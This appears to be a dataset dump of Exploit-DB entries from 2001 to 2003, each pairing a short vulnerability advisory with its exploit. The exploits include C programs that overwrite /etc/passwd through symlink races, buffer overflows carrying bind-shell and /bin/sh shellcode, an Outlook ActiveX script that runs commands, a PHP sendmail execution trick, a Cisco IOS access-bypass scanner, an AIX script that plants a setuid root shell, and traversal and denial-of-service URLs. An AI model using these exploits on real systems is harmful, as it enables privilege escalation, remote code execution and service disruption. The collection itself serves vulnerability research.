QLWD/code_shield huggingface dataset:
标题: Samsung ml85p Printer Driver 1.0 - Insecure Temporary File Creation (1) EDB-ID: 20999 CVE: 2001-1177 类型: LOCAL 平台: HARDWARE 发布日期: 2001-07-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3008/info

ml85p is a Linux driver for Samsung ML-85G series printers. It may be bundled with distributions of Ghostscript.

ml85p does not check for symbolic links when creating image output files.

These files are created in /tmp with a guessable naming format, making it trivial for attackers to exploit this vulnerability.

Since user-supplied data is written to the target file, attackers may be able to elevate privileges.

/* ml85p-xpl.c
 *
 * Quick hack to exploit ml85p
 *
 * Simply run it with the file you want to create/overwrite
 * and the data you wish to place in the file.
 *
 * Example:
 *
 * $ gcc -g -Wall ml85p-xpl.c -o ml85p-xpl
 * $ ./ml85p-xpl /etc/passwd owned::0:0::/root:/bin/bash
 *
 * Then login as owned... etc..
 *
 * by Charles Stevenson <core@ezlink.com>
 *
 * July 10 2001
 *
 * shoutz b10z
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#include <time.h>

#define TEMPFILE "/tmp/ez.XXXXXX"
#define BRUTE 10

void usage(char*);

int main(int argc, char **argv){
   char tempfile[128] = TEMPFILE;
   int fd, i;
   time_t the_time;
   char temp[512];
   
   if (argc < 3){
      usage(argv[0]);
   }

   if((fd = mkstemp(tempfile))==-1){
      fprintf(stderr, "Error creating %s!\n",tempfile);
      exit(1);
   }

   /* begin lazy slacker coding */
   fprintf(stderr, "ml85p-xpl.c by core (c) 2001\n");
   fprintf(stderr, "> backing up %s to %s\n", argv[1], tempfile);

   /* backup old file */
   sprintf(temp, "/bin/cp %s %s", argv[1], tempfile);
   system(temp);
   
   /* set the date/time */
   sprintf(temp, "/bin/touch -r %s %s", argv[1], tempfile);
   system(temp);

   the_time = time(NULL);

   fprintf(stderr, "> creating a lot of symlinks\n");

   for (i=0;i<BRUTE;i++){
      /* BAD CODE: sprintf(gname,"/tmp/ml85g%d",time(0)); */
      sprintf(temp, "/tmp/ml85g%d", the_time+i);
      symlink(argv[1], temp);
   }

   sprintf(temp, "/bin/echo `perl -e 'print \"\\n\"'`%s > file; ml85p
-sf file 2>&1>/dev/null & sleep 1; killall ml85p\n", argv[2]);
   fprintf(stderr, "Running a few times since I'm lazy.\n");
   for (i=0;i<BRUTE;i++){
      system(temp);
      //sleep(1);
   }

   sprintf(temp, "/bin/ls -l %s", argv[1]);
   system(temp);

   fprintf(stderr, "> cleaning up\n");
   sprintf(temp, "/bin/rm -f /tmp/ml85*");
   system(temp);
   
   fprintf(stderr, "All done. Enjoy!\n");
   return 0;
}

void usage(char *name){
   
   fprintf(stderr, "usage: %s <filename> <data>\n", name);
   exit(1);
}

/* EOF */ URL: https://www.exploit-db.com/exploits/20999
标题: Basilix Webmail 1.0 - File Disclosure EDB-ID: 20996 CVE: 2001-1045 类型: WEBAPPS 平台: PHP 发布日期: 2001-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2995/info

Basilix is a web-based mail application. It offers features such as mail attachments, address book, multiple language and theme support.

During operation, Basilix opens a PHP include file using a variable as the filename that can be supplied remotely. Basilix do not properly filter malicious user-supplied input. It is possible for remote attackers to have Basilix attempt to 'include' an arbitrary webserver-readable file.

This vulnerability may disclose sensitive information contained in arbitrary web-readable files. It may also be possible for remote attackers to execute php files. 

http://beta.basilix.org/basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=blah&password=blah URL: https://www.exploit-db.com/exploits/20996
标题: Microsoft Outlook 98/2000/2002 - Arbitrary Code Execution EDB-ID: 21004 CVE: 2001-0538 类型: REMOTE 平台: WINDOWS 发布日期: 2001-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/3026/info

Microsoft Outlook introduces a vulnerability that may allow attackers to execute arbitrary commands on a target system.

The vulnerability is due to a new ActiveX control called 'Microsoft Outlook View Control'. The flaw is that this control is marked 'safe for scripting' when it should not be. It is therefore accessible by scripts.

Scripts can execute commands without user knowledge or consent. 

This assumes you have at least one message in Outlook XP's Inbox
<br>
<object id="o1"
classid="clsid:0006F063-0000-0000-C000-000000000046"
>
<param name="folder" value="Inbox">
</object>

<script>
function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();

vv2=vv1.Session.Application.CreateObject("WScript.Shell");

alert("Much more fun is possible");


vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

}
setTimeout("f()",2000);
</script> URL: https://www.exploit-db.com/exploits/21004
标题: Lmail 2.7 - Temporary File Race Condition EDB-ID: 20992 CVE: 2001-1085 类型: LOCAL 平台: LINUX 发布日期: 2001-07-04 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2984/info

Jon Zeeff's lmail is a local mail delivery agent (LDA) designed to provide mail-to-pipe and mail-to-file aliasing for smail.

A race condition vulnerability exists in lmail. The lmail program makes insecure use of temporary files, making it susceptible to symbolic link attacks. The program also writes data from the standard input stream (stdin) directly to the temporary file.

Because lmail is usually installed setuid root, it may be possible for a local user to overwrite any file on a system with arbitrary data. 

/* lmail-xpl.c
 *
 * Quick hack to exploit lmail
 *
 * Simply run it with the file you want to create/overwrite
 * and the data you wish to place in the file.
 *
 * Example:
 *
 * $ gcc -g -Wall lmail-xpl.c -o lmail-xpl
 * $ ./lmail-xpl /etc/passwd owned::0:0::/root:/bin/bash
 *
 * Then login as owned... etc..
 *
 * by Charles Stevenson <core@ezlink.com>
 *
 * July 04 2001
 *
 * shoutz b10z
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define TEMPFILE "/tmp/ez.XXXXXX"
#define BRUTE 128

void usage(char*);

int main(int argc, char **argv){
   char tempfile[128] = TEMPFILE;
   int fd, i;
   pid_t pid;
   char temp[512];
   
   if (argc < 3){
      usage(argv[0]);
   }

   if((fd = mkstemp(tempfile))==-1){
      fprintf(stderr, "Error creating %s!\n",tempfile);
      exit(1);
   }

   /* begin lazy slacker coding */
   fprintf(stderr, "lmail-xpl.c by core (c) 2001\n");
   fprintf(stderr, "> backing up %s to %s\n", argv[1], tempfile);

   /* backup old file */
   sprintf(temp, "/bin/cp %s %s", argv[1], tempfile);
   system(temp);
   
   /* set the date/time */
   sprintf(temp, "/bin/touch -r %s %s", argv[1], tempfile);
   system(temp);

   pid = getpid();

   fprintf(stderr, "> creating a lot of symlinks\n");

   for (i=0;i<BRUTE;i++){
      sprintf(temp, "/tmp/lmail%d", pid+i);
      symlink(argv[1], temp);
   }

   sprintf(temp, "/bin/echo `perl -e 'print \"\\n\"'`%s | lmail -f\n", argv[2]);
   fprintf(stderr, "Running a few times since I'm lazy.\n");
   for (i=0;i<BRUTE;i++){
      system(temp);
      //sleep(1);
   }

   sprintf(temp, "/bin/ls -l %s", argv[1]);
   system(temp);

   fprintf(stderr, "> cleaning up\n");
   sprintf(temp, "/bin/rm -f /tmp/lmail*; /bin/rm -f /tmp/ez.*");
   system(temp);
   
   fprintf(stderr, "All done. Enjoy!\n");
   return 0;
}

void usage(char *name){
   
   fprintf(stderr, "usage: %s <filename> <data>\n", name);
   exit(1);
} URL: https://www.exploit-db.com/exploits/20992
标题: xloadimage 4.1 - Remote Buffer Overflow EDB-ID: 20998 CVE: 2001-0775 类型: REMOTE 平台: LINUX 发布日期: 2001-07-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3006/info
// 
// xloadimage is a utility used for displaying images of varying formats on X11 servers.
// 
// xloadimage and possibly derivatives such as 'xli' contain a buffer overflow vulnerability in the handling of the 'Faces Project' image type.
// 
// It is possible for remote attackers to create a file that will exploit this overflow to execute arbitrary code. An optional netscape plugin shipped with Red Hat powertools invokes xloadimage to load certain image types. If this plugin is in use, this vulnerability may be remotely exploitable if an attacker places the exploit-file on a webserver.
// 
// S.uS.E. Linux also ships with plugger, which invokes a derivative of xloadimage called 'xli'. 'xli' is also vulnerable. 


//#define TARGET 0x080e1337
//as 1337 as the 1337357 kiddies.
#define TARGET 0xdeadbeef

// lamagra's port binding shell code (from bind.c in the sc.tar.gz)
//
char lamagra_bind_code[] =
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

// slight modification so it listens on 7465 instead of 3879
// TAGS is easier to remember ;]

char *
this (int doit)
{
  char *p;
  int v;
  p = (char *) malloc (8200);
  memset (p, 0x90, 8200);
  if (!doit)
    for (v = 0; v < 8100; v += 122)
      {
 p[v] = 0xeb;
 p[v + 1] = 120;
      }
  if (doit)
    memcpy (&p[7000], lamagra_bind_code, strlen (lamagra_bind_code));
  p[8199] = 0;

  return p;
}

main (int argc)
{
  int z0, x = TARGET;
  int z1, y = x;
  int p;
  char *q;
  if (argc > 1)
    printf ("HTTP/1.0 200\nContent-Type: image/x-tiff\n\n");
  printf ("FirstName: %s\n", this (0));
  printf ("LastName: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  printf ("%s\n", &x);
// Begin Padding Heap With 'Garbage' (nop/jmp)
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
// End Padding Heap With 'Garbage' (nop/jmp)
  printf ("%s", this (1));
  printf ("http://www.mp3.com/cosv");
  printf ("\nPicData: 32 32 8\n");
  printf ("\n");
  for (p = 0; p < 9994; p += 1)
    printf ("A");
}

// EOF --  tstot.c  -- URL: https://www.exploit-db.com/exploits/20998
标题: Microsoft IIS 4.0/5.0 - Device File Local Denial of Service EDB-ID: 20989 CVE: 2001-1243 类型: DOS 平台: WINDOWS 发布日期: 2001-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/2973/info

Microsoft IIS is prone to denial of service attacks by local users. This issue is exploitable if the local attacker can create an .asp file which makes calls to various devices names. The local attacker must of course possess the privileges required to create such files.

The end result of exploiting this vulnerability is that the server will crash and a denial of services will occur. The affected services must be restarted to regain normal functionality. 

<%
  Dim strFileName, objFSO, objFile

  Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

  strFileName = "com1"

  Set objFile = objFSO.OpenTextFile(strFileName)

  Response.Write objFile.ReadAll

  objFile.Close

%> URL: https://www.exploit-db.com/exploits/20989
标题: Microsoft IIS 4.0/5.0 - Device File Remote Denial of Service EDB-ID: 20991 CVE: 2001-1243 类型: DOS 平台: WINDOWS 发布日期: 2001-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/2977/info

Microsoft IIS is prone to denial of service attacks by remote attackers. This can occur if the remote attack crafts a URL which tries to pass a script parameter that is a device name.

The end result of exploiting this vulnerability is that the server will crash and a denial of services will occur. The affected services must be restarted to regain normal functionality. 

http://host.int/scripts/script.asp?script=com1 URL: https://www.exploit-db.com/exploits/20991
标题: Citrix Nfuse 1.51 - Webroot Disclosure EDB-ID: 20987 CVE: 2001-0760 类型: WEBAPPS 平台: ASP 发布日期: 2001-07-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/2956/info

Citrix Nfuse is an application portal server meant to provide the functionality of any application on the server via a web browser. Nfuse works in conjunction with a previously-installed webserver.

It has been reported that a remote attacker can learn the location of the webroot simply by submitting a request to the launcher application without specifying the additional required information. This has been reported to not be reliably replicable. 

http://target/path/launch.asp? URL: https://www.exploit-db.com/exploits/20987
标题: Xvt 2.1 - Local Buffer Overflow EDB-ID: 20986 CVE: 2001-1561 类型: LOCAL 平台: LINUX 发布日期: 2001-07-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2955/info

Xvt is a terminal emulator for systems using X11R6. It is often installed setuid/setgid so that it runs with the enhanced privileges required to log user sessions.

Xvt contains a buffer overflow in it's handling of the '-name' argument.

An attacker can exploit this buffer overflow to exploit arbitrary code with the enhanced privileges of Xvt. On some systems Xvt is installed setuid root. This may not be the case for all systems. 

/*

   /usr/bin/X11/xvt overflow proof of concept by cb@t-online.fr.

   tshaw:~$ ./expl
   bash#

*/

#include <stdio.h>
#include <stdlib.h>

int main()

{

    char buf[234];
    int i;

    char code[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    for(i=0; i<76; i++)
        buf[i] = 0x41;

    *(long *)&buf[76]=0xbffffab0; /* ret addr */

    memset(buf + 80, 0x90, 234);
    memcpy(buf + 233 - strlen(code), code, strlen(code));

    buf[234] = '\0';

    execl("/usr/bin/X11/xvt", "xvt", "-name", buf, 0);                           

} URL: https://www.exploit-db.com/exploits/20986
标题: Apple Mac OSX 10 - nidump Password File Disclosure EDB-ID: 20984 CVE: 2001-1412 类型: REMOTE 平台: OSX 发布日期: 2001-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/2953/info

A vulnerability exists in all versions of Apple MacOS X.

It has been found to contain a vulnerability which could allow disclosure of passwords and other sensitive system information.

nidump is a Mac OS X system data extraction utility which can be used to read the contents of the NetInfo database. This utility's default file permissions leave this utility available to any local user at the command line.

However, hosts with a network nidomain may be vulnerable to remote exploitation of this issue. This is possible if remote tags are used for nidump. It should also be noted that both portmap and netinfobind must be listening on the target host for this issue to be exploited.

The output of the nidump command can reveal the list of usernames and passwords in clear text. An attacker could then use this list to log in as a user with administrative priveleges. 

% nidomain -l xxx.xxx.net
tag=network udp=797 tcp=798
tag=local udp=795 tcp=796

% nidump -t xxx.xxx.net/network passwd
root:xxxxxxxx.:0:0::0:0:System Administrator:/private/var/root:/bin/tcsh

% nireport -t xxx.xxx.net/network /users name uid
passwd
root 0 xxxxxxxxx.

% nidump -r / -t xxx.xxxx.net/network
{
"master" = ( "localhost/network" );
CHILDREN = (
{
"name" = ( "machines" );
CHILDREN = (
{
"name" = ( "localhost" );
"ip_address" = ( "xxx.xxx.xxx.xxx" );
"serves" = ( "./network", "localhost/local" );
}
)
},
{
"name" = ( "users" );
CHILDREN = (
{
"name" = ( "root" );
"passwd" = ( "xxxxxxxxx." );
"uid" = ( "0" );
"gid" = ( "0" );
"change" = ( "0" );
"expire" = ( "0" );
"realname" = ( "System Administrator" );
"home" = ( "/private/var/root" );
"shell" = ( "/bin/tcsh" );
}
etc. URL: https://www.exploit-db.com/exploits/20984
标题: PHP 4.x - SafeMode Arbitrary File Execution EDB-ID: 20985 CVE: 2001-1246 类型: LOCAL 平台: PHP 发布日期: 2001-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/2954/info

PHP is the Personal HomePage development toolkit, distributed by the PHP.net, and maintained by the PHP Development Team in public domain.

A problem with the toolkit could allow elevated privileges, and potentially unauthorized access to restricted resources. A local user may upload a malicious php script, and execute it with a custom query string.

This makes it possible for a local user to execute commands as the HTTP process UID, and potentially gain access with the same privileges of the HTTP UID.

It has been reported that the proposed fix does not entirely fix the problem, as it's possible to pass command line parameters to sendmail when safe_mode is enabled. This may be done through the 5th argument permitted by safe_mode. 

<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?> URL: https://www.exploit-db.com/exploits/20985
标题: Cisco IOS 11.x/12.x - HTTP Configuration Arbitrary Administrative Access (1) EDB-ID: 20975 CVE: 2001-0537 类型: REMOTE 平台: HARDWARE 发布日期: 2001-06-27 漏洞利用脚本: # source: https://www.securityfocus.com/bid/2936/info
# 
# IOS is router firmware developed and distributed by Cisco Systems. IOS functions on numerous Cisco devices, including routers and switches.
# 
# It is possible to gain full remote administrative access on devices using affected releases of IOS. By using a URL of http://router.address/level/$NUMBER/exec/.... where $NUMBER is an integer between 16 and 99, it is possible for a remote user to gain full administrative access.
# 
# This problem makes it possible for a remote user to gain full administrative privileges, which may lead to further compromise of the network or result in a denial of service. 
# 

#!/usr/bin/perl
# modified roelof's uni.pl
# to check cisco ios http auth bug
# cronos <cronos@olympos.org>
use Socket;
print "enter IP (x.x.x.x): ";
$host= <STDIN>;
chop($host);
$i=16;
$port=80;
$target = inet_aton($host);
$flag=0;
LINE: while ($i<100) { 
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
my @results=sendraw("GET /level/".$i."/exec/- HTTP/1.0\r\n\r\n");
foreach $line (@results){
        $line=~ tr/A-Z/a-z/;
        if ($line =~ /http\/1\.0 401 unauthorized/) {$flag=1;}
        if ($line =~ /http\/1\.0 200 ok/) {$flag=0;}
} 
        if ($flag==1){print "Not Vulnerable with $i\n\r";}
                else {print "$line Vulnerable with $i\n\r"; last LINE; }
        $i++;
sub sendraw {
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}
} URL: https://www.exploit-db.com/exploits/20975
标题: Icecast 1.1.x/1.3.x - Directory Traversal EDB-ID: 20972 CVE: 2001-0784 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/2932/info

Icecast is an open source audio-streaming server for both Unix and Microsoft Windows systems.

Icecast does not filter encoded characters from URLs when receiving web requests. If a remote attacker crafts a URL containing the ASCII equivalent of directory traversal characters, it is possible to escape Icecast's "root" directory. This will allow the attacker to view files readable by the ownership and group membership of the icecast server. 

Mp3-files residing outside the Web catalog can be accessed by replacing ascii-values for each ".", thus using "/%2E%2E/" instead of "/../" will walk one folder downward.

Place a mp3-file named "test1.mp3" in the directory below the one you specified in the variable "staticdir".

Then write the following in your browser:

http://localhost:8000/file/../test1.mp3 - Will fail in getting the file

http://localhost:8000/file/%2E%2E/test1.mp3 - Will succeed in getting the file URL: https://www.exploit-db.com/exploits/20972
标题: AIX 4.3/5.1 - diagrpt Arbitrary Privileged Program Execution EDB-ID: 20965 CVE: 2001-1080 类型: LOCAL 平台: AIX 发布日期: 2003-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2916/info

AIX ships with a diagnostic reporting utility called 'diagrpt'. This utility is installed setuid root by default.

When 'diagrpt' executes, it relies on an environment variable to locate another utility which it executes. This utility is executed by 'diagrpt' as root.

An attacker can gain root privileges by having 'diagrpt' execute a malicious program of the same name in a directory under their control. 

#!/bin/sh
# FileName: x_diagrpt.sh
# Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1.
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-5-23
# Announce: use as your owner risk!
#
# Note    :
# It does not work on all versions of tsm command.
# Use this command to test if your version can exploit or not :
# bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat
# diagrpt.cat
# cat %s  <--- here ! have the bug !!! can exploit!
#

O_DIR=`/bin/pwd`
cd /tmp ; mkdir .ex$$ ; cd .ex$$
PATH=/tmp/.ex$$:$PATH ; export PATH
/bin/cat >cat<<EOF
#!/bin/ksh -p
cp /bin/ksh ./kfsh
chown root ./kfsh
chmod 777 ./kfsh
chmod u+s ./kfsh
EOF
chmod a+x cat

DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR
touch /tmp/.ex$$/diagrpt1.dat

/usr/lpp/diagnostics/bin/diagrpt -o 010101
stty echo
stty intr '^C' erase '^H' eof '^D' eol '^@'

if [ -e ./kfsh ] ;then
  echo ""
  echo "===================="
  pwd
  ls -l ./kfsh
  echo "Exploit ok ! Use this command to get a uid=0 shell :"
  echo '/usr/bin/syscall setreuid 0 0 \; execve "/bin/sh" '
  ./kfsh
else
  echo ""
  echo "Exploit false !!!!"
fi

cd /tmp ; /bin/rm  -Rf /tmp/.ex$$ ;cd $O_DIR
#EOF URL: https://www.exploit-db.com/exploits/20965